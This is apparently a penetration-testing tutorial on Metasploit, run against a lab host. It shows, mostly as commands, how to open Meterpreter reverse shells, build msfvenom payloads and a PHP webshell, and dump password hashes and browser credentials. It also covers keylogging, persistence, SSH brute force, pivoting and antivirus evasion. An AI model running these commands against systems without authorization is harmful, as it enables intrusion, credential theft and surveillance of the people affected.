Metasploit Intermediate: Meterpreter, Auxiliaries and Post-Exploitation

This is Part 2 of the Metasploit series. If you haven’t got a shell yet, start with Part 1: Metasploit for Beginners first – it covers setup, msfconsole navigation, and a complete worked example against Metasploitable2.

This guide covers the capabilities that turn a basic shell into a thorough compromise: Meterpreter in depth, auxiliary modules for enumeration, standalone payload generation with msfvenom, post-exploitation, pivoting into internal networks, and managing multiple engagements with workspaces.

Meterpreter in Depth

Meterpreter is Metasploit’s advanced payload and the reason most pentesters choose it over a plain shell. It runs entirely in memory – no file written to disk – communicates over an encrypted channel, and provides a rich set of capabilities without spawning new processes that might trigger AV or EDR.

To land a Meterpreter session instead of a plain shell, set the payload before running your exploit:

msf6 (...) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 (...) > set LHOST 192.168.56.1
msf6 (...) > set LPORT 4444
msf6 (...) > run

System Information

meterpreter > sysinfo           # OS, hostname, architecture
meterpreter > getuid            # Current user context
meterpreter > getpid            # Current process ID
meterpreter > ps                # List all running processes

File System

meterpreter > pwd               # Current directory
meterpreter > ls                # List directory contents
meterpreter > cd /etc           # Change directory
meterpreter > download /etc/passwd /tmp/     # Pull a file to your machine
meterpreter > upload /home/kali/linpeas.sh /tmp/  # Push a file to the target
meterpreter > search -f *.conf  # Search for files by pattern

Privilege Escalation

meterpreter > getsystem         # Attempt automated privilege escalation
meterpreter > getuid            # Confirm you're now root or SYSTEM

Credential Dumping

meterpreter > hashdump          # Dump local password hashes (Linux)

# On Windows, load the Kiwi module (Mimikatz integration)
meterpreter > load kiwi
meterpreter > creds_all         # Dump all credentials in memory
meterpreter > lsa_dump_sam      # Dump the SAM database

Pivoting

Once you have a foothold, pivoting lets you reach internal network segments that aren’t directly accessible from your machine.

# Add routes through the compromised host to reach internal subnets
meterpreter > run post/multi/manage/autoroute

# Forward a specific port - e.g. RDP on an internal host
meterpreter > portfwd add -l 3389 -p 3389 -r 10.0.0.50

# Background the session and use the route in further modules
meterpreter > background
msf6 > route print

Screenshots and Keylogging

meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Persistence

meterpreter > run post/windows/manage/persistence_exe STARTUP=SCHEDULER

Use persistence modules carefully – they modify the target system and may be out of scope depending on your rules of engagement.

Session Management

msf6 > sessions             # List all active sessions
msf6 > sessions -i 1        # Interact with session 1
msf6 > sessions -k 1        # Kill session 1
msf6 > sessions -K          # Kill all sessions
msf6 > sessions -u 1        # Upgrade plain shell to Meterpreter

# Background a session without closing it
meterpreter > background

Auxiliary Modules

Auxiliary modules are everything in Metasploit that isn’t a direct exploit – scanners, brute-forcers, fuzzers, and enumeration tools. They’re underused by beginners and invaluable in practice.

SMB Enumeration

msf6 > use auxiliary/scanner/smb/smb_version
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 > use auxiliary/scanner/smb/smb_enumusers
msf6 > use auxiliary/scanner/smb/smb_ms17_010  # Check for EternalBlue

SSH Brute Force

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(ssh_login) > set RHOSTS 192.168.56.101
msf6 auxiliary(ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/default_userpass.txt
msf6 auxiliary(ssh_login) > run

Web Application Scanning

msf6 > use auxiliary/scanner/http/dir_scanner
msf6 > use auxiliary/scanner/http/http_login

Port Scanning

Metasploit’s built-in TCP scanner is useful once you’ve pivoted into an internal segment where you can’t easily run Nmap directly.

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.0.0.0/24
msf6 auxiliary(tcp) > set PORTS 22,80,443,445,3306,3389
msf6 auxiliary(tcp) > run

Generating Payloads with msfvenom

msfvenom is the standalone payload generator – used when you need to create an executable or script to deliver separately, rather than launching an exploit directly from msfconsole.

# Windows reverse shell executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o payload.exe

# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f elf -o payload.elf

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shell.php

# Python payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o payload.py

# List all available payloads
msfvenom --list payloads

Setting Up a Multi-Handler

When using msfvenom payloads you need a listener in msfconsole to catch the incoming connection:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.56.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false  # Keep listening for multiple sessions
msf6 exploit(multi/handler) > run -j  # Run as a background job

Encoding Payloads

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

Worth knowing about, but shikata_ga_nai is well-known to AV vendors and won’t get you far against modern endpoint security. For real-world evasion, look at custom obfuscation, packers, or purpose-built frameworks.

Post-Exploitation Modules

Post modules run against an existing session and automate the manual work of gathering information from a compromised host.

# Check for local privilege escalation opportunities - run this first
msf6 > use post/multi/recon/local_exploit_suggester
msf6 (...) > set SESSION 1
msf6 (...) > run

# Dump password hashes on Linux
msf6 > use post/linux/gather/hashdump
msf6 (...) > set SESSION 1
msf6 (...) > run

# Enumerate installed applications (Windows)
meterpreter > run post/windows/gather/enum_applications

# Dump browser credentials
meterpreter > run post/multi/gather/firefox_creds
meterpreter > run post/windows/gather/credentials/credential_collector

Workspaces

If you’re running multiple engagements or testing multiple environments, workspaces keep your host, service, and session data completely separate.

msf6 > workspace              # List all workspaces
msf6 > workspace -a client_a  # Create a new workspace
msf6 > workspace client_a     # Switch to it
msf6 > workspace -d client_a  # Delete it

Get into the habit of creating a workspace for every engagement before you import any Nmap data. It takes ten seconds and saves a lot of confusion if you come back to an engagement days later.

Summary

Metasploit’s power comes from its integration across the whole workflow. Nmap feeds host and service data in. Auxiliary modules enumerate further without leaving msfconsole. Exploit modules deliver the attack. Meterpreter gives you a rich, stealthy post-exploitation environment. Post modules automate the tedious parts of privilege escalation and data gathering. Workspaces keep everything organised across engagements.

Get the full workflow comfortable in your lab – search, use, set options, select payload, run, post-exploit – and you’ll have a systematic foundation that scales to real engagements.